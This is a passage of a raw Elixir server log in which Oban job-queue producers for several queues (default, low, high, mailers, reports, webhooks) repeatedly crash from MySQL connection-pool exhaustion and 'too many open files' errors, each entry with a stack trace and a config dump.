State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:22:30.239102Z], limit: 5, uuid: "cc48a9c0-47b5-451a-8bea-a964d415e888", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:30.239109Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.56574>, refresh_timer: #Reference<0.2525715032.1099431938.56603>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:22:30.239161Z], limit: 5, uuid: "fe73a40e-e1eb-48b2-a2fb-f8b6e8f22356", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:30.239167Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.56571>, refresh_timer: #Reference<0.2525715032.1121189889.184896>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:42.714000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:44.480000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:47.339000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:22:42.239854Z], limit: 5, uuid: "012590ec-360c-4602-81ab-071e3ac74772", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:42.239860Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.33898>, refresh_timer: #Reference<0.2525715032.1099431938.56714>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:22:42.239454Z], limit: 50, uuid: "1ec95574-4952-46de-bcaf-cdbb3a621f0f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:42.239460Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.33899>, refresh_timer: #Reference<0.2525715032.1099431938.56705>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:22:42.241611Z], limit: 5, uuid: "9b4add52-e340-4e36-ba49-d3cef6098614", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:42.241616Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.56660>, refresh_timer: #Reference<0.2525715032.1099431938.56723>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:22:42.239222Z], limit: 3, uuid: "539eb38b-2544-417d-b1c2-3109eddb8073", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:42.239227Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.33897>, refresh_timer: #Reference<0.2525715032.1121189889.185137>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:22:42.239097Z], limit: 10, uuid: "73608d46-94f3-43e0-85b0-41024b66c8a9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:42.239102Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.33896>, refresh_timer: #Reference<0.2525715032.1121189889.185134>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:22:42.238746Z], limit: 20, uuid: "f34982db-f7a4-456b-b355-330dd868fb15", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:42.238753Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.33895>, refresh_timer: #Reference<0.2525715032.1068498948.56646>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:54.653000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:54.814000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:56.084000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:56.123000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:57.409000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:58.274000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:58.740000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:59.095000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:02.908000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:22:54.239596Z], limit: 10, uuid: "05dee06b-d4c4-48d9-add5-2c169fb6f7df", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:54.239601Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.185352>, refresh_timer: #Reference<0.2525715032.1121189889.185338>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

